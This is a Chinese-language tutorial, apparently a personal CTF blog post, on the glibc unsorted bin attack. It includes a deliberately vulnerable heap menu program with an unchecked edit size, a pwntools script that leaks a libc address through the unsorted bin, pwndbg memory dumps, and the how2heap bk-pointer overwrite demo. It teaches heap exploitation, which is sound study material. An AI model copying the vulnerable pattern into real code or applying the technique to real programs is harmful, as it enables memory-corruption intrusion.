unsortedbin_attack

文章发布时间:

最后更新时间:

unsortedbin_attack,part leak
在glibc版本2.26(可以简单记成18.04后)以后,加入了tcachebin机制
针对tcachebin机制的攻击之后再聊

回到unsortedbin,tcachebin机制的加入主要影响的是大小小于fastbin或tcachebin的堆块
大于此的堆块被free后会直接进入unsortedbin
小于此的堆块被free后会进入tcachebin,直到tcachebin的一条链表被填满(7个chunk)
所以我们只要用7个chunk填满它,就能绕过tcachebin机制,进入unsortedbin
debug_code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>

char *heap[0x20];
int num=0;

int getnum()
{
char s[24]; // [rsp+0h] [rbp-20h] BYREF
uint64_t v1; // [rsp+18h] [rbp-8h]
v1 = read(0x28u);
memset(s, 0, sizeof(s));
read(0, s, 0x17uLL);
return atoi(s);
}

int create()
{
int size;
int result;
puts("input your size:");
size = getnum();
heap[num]=(char *)malloc(size);
result = num++;
puts("success!");
return result;
}

void show(){
int idx;
puts("idx:");
idx = getnum();
if (!heap[idx])
{
puts("nothing here\n");
}
else {
printf("content:");
printf("%s",heap[idx]);
}
}
void dele()
{
int idx;
puts("idx:");
idx = getnum();
if (!heap[idx])
{
puts("nothing here\n");
}
else
{
free(heap[idx]);
heap[idx]=NULL;
num--;
puts("success!");
}
}
void edit()
{
int size;
int idx;
puts("idx:");
idx = getnum();
if (!heap[idx])
{
puts("nothing here\n");
}
else
{
puts("input your size:");
size = getnum();
puts("content:");
read(0,heap[idx],size);
puts("success!");
}
}
void menu(void){
puts("1.create");
puts("2.delete");
puts("3.edit");
puts("4.show");
puts("your choice:");
}

int main()
{
int choice;
while ( 1 ) {
while(1)
{
setbuf(stdin, 0);
setbuf(stdout, 0);
menu();
scanf("%d",&choice);
if ( choice == 1 )
{
create();
}

else if ( choice == 3 )
{
edit();
}
else if ( choice == 4 )
{
show();
}
else if ( choice ==2 )
{
dele();
}
else
{
puts("Invalid choice");
exit(0);
}
}
}
}

debug_exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from struct import pack
from ctypes import *
from LibcSearcher import *
from pwn import *

def debug():
gdb.attach(p)
pause()
def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))

context(os='linux', arch='amd64', log_level='debug')
p = process('./testheap')
elf = ELF('./testheap')
#libc = ELF('./libc-2.23.so')

def create(size):
p.sendlineafter(b'choice:\n', b'1')
p.sendlineafter(b'size:\n', str(size))
def dele(idx):
p.sendlineafter(b'choice:\n', b'2')
p.sendlineafter(b'idx:\n', str(idx))
def edit(idx, size, content):
p.sendlineafter(b'choice: \n', b'3')
p.sendlineafter(b'idx:\n', str(idx))
p.sendlineafter(b'size:\n', str(size))
p.sendlineafter(b'content:\n', str(content))

def show(idx):
p.sendlineafter(b'choice:\n', b'4')
p.sendlineafter(b'idx:\n', str(idx))

debug()
create(0x90)
create(0x20)
for i in range(3,11):
create(0x90)

for i in range(3,11):
dele(i)

dele(0) #该chunk进入unsortedbin
pause()
create(0x45)
pause()
show(11)

free掉7个chunk以绕过tcachebin

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x9cb000
Size: 0x251

Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x9cb250
Size: 0xa1
fd: 0x7ff473e90ca0
bk: 0x7ff473e90ca0

Allocated chunk
Addr: 0x9cb2f0
Size: 0x30

Allocated chunk | PREV_INUSE
Addr: 0x9cb320
Size: 0xa1

Free chunk (tcachebins) | PREV_INUSE
Addr: 0x9cb3c0
Size: 0xa1
fd: 0x00

Free chunk (tcachebins) | PREV_INUSE
Addr: 0x9cb460
Size: 0xa1
fd: 0x9cb3d0

Free chunk (tcachebins) | PREV_INUSE
Addr: 0x9cb500
Size: 0xa1
fd: 0x9cb470

Free chunk (tcachebins) | PREV_INUSE
Addr: 0x9cb5a0
Size: 0xa1
fd: 0x9cb510

Free chunk (tcachebins) | PREV_INUSE
Addr: 0x9cb640
Size: 0xa1
fd: 0x9cb5b0

Free chunk (tcachebins) | PREV_INUSE
Addr: 0x9cb6e0
Size: 0xa1
fd: 0x9cb650

Free chunk (tcachebins) | PREV_INUSE
Addr: 0x9cb780
Size: 0xa1
fd: 0x9cb6f0

Top chunk | PREV_INUSE
Addr: 0x9cb820
Size: 0x207e1

如果unsortedbin的链表中只有其一个堆块 那么他的fd域和bk域都将指向main_arena+96(main_arena+x,x与glibc版本唯一相关且确定)

1
2
3
4
5
6
7
8
9
10
11
pwndbg> bin
tcachebins
0xa0 [ 7]: 0x9cb790 —▸ 0x9cb6f0 —▸ 0x9cb650 —▸ 0x9cb5b0 —▸ 0x9cb510 —▸ 0x9cb470 —▸ 0x9cb3d0 ◂— 0x0
fastbins
empty
unsortedbin
all: 0x9cb250 —▸ 0x7ff473e90ca0 (main_arena+96) ◂— 0x9cb250
smallbins
empty
largebins
empty

unsortedbin内此时的结构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
pwndbg> x/40gx 0x9cb250
0x9cb250: 0x0000000000000000#prev_size# 0x00000000000000a1#size
0x9cb260: 0x00007ff473e90ca0#fd# 0x00007ff473e90ca0#bk
0x9cb270: 0x0000000000000000 0x0000000000000000
0x9cb280: 0x0000000000000000 0x0000000000000000
0x9cb290: 0x0000000000000000 0x0000000000000000
0x9cb2a0: 0x0000000000000000 0x0000000000000000
0x9cb2b0: 0x0000000000000000 0x0000000000000000
0x9cb2c0: 0x0000000000000000 0x0000000000000000
0x9cb2d0: 0x0000000000000000 0x0000000000000000
0x9cb2e0: 0x0000000000000000 0x0000000000000000
0x9cb2f0: 0x00000000000000a0 0x0000000000000030
0x9cb300: 0x0000000000000000 0x0000000000000000
0x9cb310: 0x0000000000000000 0x0000000000000000
0x9cb320: 0x0000000000000000 0x00000000000000a1
0x9cb330: 0x0000000000000000 0x0000000000000000
0x9cb340: 0x0000000000000000 0x0000000000000000
0x9cb350: 0x0000000000000000 0x0000000000000000
0x9cb360: 0x0000000000000000 0x0000000000000000
0x9cb370: 0x0000000000000000 0x0000000000000000
0x9cb380: 0x0000000000000000 0x0000000000000000
1
2
3
4
5
Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x1bd6250
Size: 0xa1
fd: 0x7fe2527beca0
bk: 0x7fe2527beca0

create一个0x45的chunk后

1
2
3
4
5
6
7
8
9
Allocated chunk | PREV_INUSE
Addr: 0x9cb250
Size: 0x51

Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x9cb2a0
Size: 0x51
fd: 0x7ff473e90ca0
bk: 0x7ff473e90ca0

可见当用户申请新的空间时,系统会优先分割unsortedbin中的空间
(申请的空间小于等于unsortedbin的空间)

此时新chunk内的结构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
pwndbg> x/40gx 0x9cb250
0x9cb250: 0x0000000000000000 0x0000000000000051
0x9cb260: 0x00007ff473e90d30 0x00007ff473e90d30
0x9cb270: 0x0000000000000000 0x0000000000000000
0x9cb280: 0x0000000000000000 0x0000000000000000
0x9cb290: 0x0000000000000000 0x0000000000000000
0x9cb2a0: 0x0000000000000000 0x0000000000000051
0x9cb2b0: *0x00007ff473e90ca0 *0x00007ff473e90ca0
0x9cb2c0: 0x0000000000000000 0x0000000000000000
0x9cb2d0: 0x0000000000000000 0x0000000000000000
0x9cb2e0: 0x0000000000000000 0x0000000000000000
0x9cb2f0: 0x0000000000000050 0x0000000000000030
0x9cb300: 0x0000000000000000 0x0000000000000000
0x9cb310: 0x0000000000000000 0x0000000000000000
0x9cb320: 0x0000000000000000 0x00000000000000a1
0x9cb330: 0x0000000000000000 0x0000000000000000
0x9cb340: 0x0000000000000000 0x0000000000000000
0x9cb350: 0x0000000000000000 0x0000000000000000
0x9cb360: 0x0000000000000000 0x0000000000000000
0x9cb370: 0x0000000000000000 0x0000000000000000
0x9cb380: 0x0000000000000000 0x0000000000000000

我们可以看到原来chunk的fd与bk都被保留
可以借此泄露libc基址(能打印chunk中数据的情况)

unsortedbin_attack,part use
在malloc.c中的_int_malloc有一段关于Unsorted bin chunk摘除的代码:

1
2
3
4
5
/* remove from unsorted list */
if (__glibc_unlikely (bck->fd != victim))
malloc_printerr ("malloc(): corrupted unsorted chunks 3");
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);

看后两行就好了,unsorted_chunk的bk指针指向的是它后一个被释放的chunk的块地址(bck),后一个被释放的chunk的fd指针指向的是unsorted_chunk的块地址。如果我们能够控制unsorted_chunk的bk,那么就意味着可以将unsorted_chunks (av),即unsorted_chunk的块地址写到任意可写地址内
一段来自how2heap的代码,已经去掉英文解说

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
//gcc how2heap.c -g -no-pie -o unsorted_bin
#include <stdio.h>
#include <stdlib.h>

int main() {

unsigned long target_var = 0;//修改目标
fprintf(stderr,"&target_var and target_var:\n");
fprintf(stderr, "%p: %ld\n\n", &target_var, target_var);

unsigned long *p = malloc(400);//chunk0
fprintf(stderr, "The first chunk_addr at: %p\n",p);

malloc(500);//chunk1

free(p);//*breakpoint1
fprintf(stderr, "The first chunk_fd is %p\n",(void *)p[1]);

p[1] = (unsigned long)(&target_var - 2);//*breakpoint2
fprintf(stderr, "Now,The first chunk_fd is %p\n\n", (void *)p[1]);

malloc(400);//chunk2
fprintf(stderr, "target has been rewrite %p: %p\n", &target_var, (void *)target_var);
}

创建一个名为target_var的无符号长整型变量,并将其初始化为0。
使用fprintf函数打印target_var的地址和值。
分配一个400字节大小的chunk,并将其地址存储在指针变量p中。
使用fprintf函数打印第一个内存块的地址。
分配一个500字节大小的chunk(此处没有存储其返回值)。
释放之前分配的内存块p。
使用fprintf函数打印第一个内存块的第二个元素(p[1])的值,此时它将显示先前分配的内存块的fd(free chunk中的前向指针)。
将第一个内存块的第二个元素(p[1])修改为target_var的地址减去2(&target_var - 2),即使得其指向target_var之前的位置。
使用fprintf函数再次打印第一个内存块的第二个元素(p[1])的值,此时它将显示修改后的地址。
分配一个400字节大小的内存块。
使用fprintf函数打印target_var的地址和值,现在target_var已被篡改,其值应该是修改后的地址。

接下来跟着gdb单步看内存情况
由于笔者16.04的环境g了,通过上面绕过tcache机制的方式来看unsortedbin
停在breakpoint1

1
2
3
4
5
6
7
8
unsortedbin
all: 0x602250 —▸ 0x7ffff7dcdca0 (main_arena+96) ◂— 0x602250 /* 'P"`' */

Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x602250
Size: 0x1a1
fd: 0x7ffff7dcdca0
bk: 0x7ffff7dcdca0

可以看到第一个进入unsorted_bin的chunk(chunk0)的fd和bk都指向0x7ffff7dcdca0 (main_arena+96)

申请chunk1是为了防止chunk0在进入unsorted_bin的时候与top_chunk合并,可以不管

接下来走到
p[1] = (unsigned long)(&target_var - 2);
这段代码其实修改的是chunk0的bk指针,使其指向了target_var_addr - 0x10这一处地址

为什么减去的是0x10,因为target_var 是unsigned long类型的,&target_var - 2就意味着要减去两个地址位宽(8 + 8)
为什么要减去0x10,这是因为想将target_var所在地址作为一个fake_chunk的malloc地址,即fake_chunk的fd位置,减0x10的位置就是fake_chunk的块指针,这样才符合Unsorted bin双向链表的规则

接下来走到
malloc(400);

1
2
3
4
unsortedbin
all [corrupted]
FD: 0x602250 —▸ 0x7ffff7dcdca0 (main_arena+96) ◂— 0x602250 /* 'P"`' */
BK: 0x602250 —▸ 0x7fffffffe2a0 —▸ 0x602260 ◂— 0x0

这里系统把unsorted_bin中的chunk0的空间分配给了chunk2

在执行 p[1] = (unsigned long)(&target_var - 2)修改完chunk0的bk指针后,bk链接的就是以target - 0x10为块头的fake_chunk了。这里需要注意的是,由于chunk0现在还挂在unsorted_bin中,我们此时更改chunk0的bk会导致corrupted

由于在上一个步骤中发生了corrupted,所以在重新启用chunk0分配到chunk2的时候,unsorted_bin的fd依然还会指向fake_chunk。
但chunk0已经被拿走了,此时fake_chunk就与unsorted_bin相邻了,所以fake_chunk作为unsorted_bin的后一个chunk,fake_chunk的fd指针(即target的值)就会执行unsorted_bin的块头。
unsorted_bin的bk指针将会指向fake_chunk的块头

那么这样一来target中的值就从0变为了unsorted_bin的地址了
前面的攻击手段,以后再来探索吧~